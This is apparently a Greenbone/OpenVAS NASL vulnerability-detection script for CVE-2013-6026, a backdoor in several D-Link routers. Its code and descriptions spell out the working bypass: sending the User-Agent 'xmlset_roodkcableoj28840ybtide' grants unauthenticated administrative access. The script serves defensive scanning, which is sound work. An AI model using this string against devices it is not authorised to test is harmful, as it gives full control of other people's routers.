D-Link Multiple Devices Backdoor

# SPDX-FileCopyrightText: 2013 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103810");
  script_version("2023-07-27T05:05:08+0000");
  script_cve_id("CVE-2013-6026");
  script_tag(name:"cvss_base", value:"10.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:C/I:C/A:C");

  script_name("D-Link Multiple Devices Backdoor");


  script_xref(name:"URL", value:"http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/62990");
  script_xref(name:"URL", value:"http://www.d-link.com/");

  script_tag(name:"last_modification", value:"2023-07-27 05:05:08 +0000 (Thu, 27 Jul 2023)");
  script_tag(name:"creation_date", value:"2013-10-14 19:24:10 +0200 (Mon, 14 Oct 2013)");
  script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2013 Greenbone AG");
  script_dependencies("gb_get_http_banner.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("thttpd-alphanetworks/banner");

  script_tag(name:"impact", value:"This vulnerability allows remote attackers to gain complete
administrative access to affected devices.");

  script_tag(name:"vuldetect", value:"Try to bypass authentication by using 'xmlset_roodkcableoj28840ybtide' as HTTP User-Agent.");

  script_tag(name:"insight", value:"By setting the User-Agent header to 'xmlset_roodkcableoj28840ybtide', it is
possible to access the web interface without any authentication.");

  script_tag(name:"solution", value:"Ask the Vendor for an update.");
  script_tag(name:"solution_type", value:"VendorFix");

  script_tag(name:"summary", value:"Various D-Link DSL routers are susceptible to a remote authentication
bypass vulnerability.");

  script_tag(name:"affected", value:"Various D-Link routers are affected.");

  exit(0);
}

include("http_func.inc");
include("port_service_func.inc");

port = http_get_port(default:80);

banner = http_get_remote_headers(port:port);
if(!banner || ("thttpd-alphanetworks" >!< banner && "Alpha_webserv" >!< banner))exit(0);

host = http_host_name(port:port);

req = 'GET / HTTP/1.1\r\n' +
      'Host: ' + host + '\r\n';

result = http_send_recv(port:port, data:req + '\r\n', bodyonly:FALSE);

if(result !~ "HTTP/1.. (401|302)" || "self.location.href" >< result)exit(0);

req += 'User-Agent: xmlset_roodkcableoj28840ybtide\r\n';

result = http_send_recv(port:port, data:req + '\r\n', bodyonly:FALSE);

if(result =~ "^HTTP/1\.[01] 200" || (result !~ "HTTP/1" && "self.location.href" >< result)) {
  security_message(port:port);
  exit(0);
}

exit(99);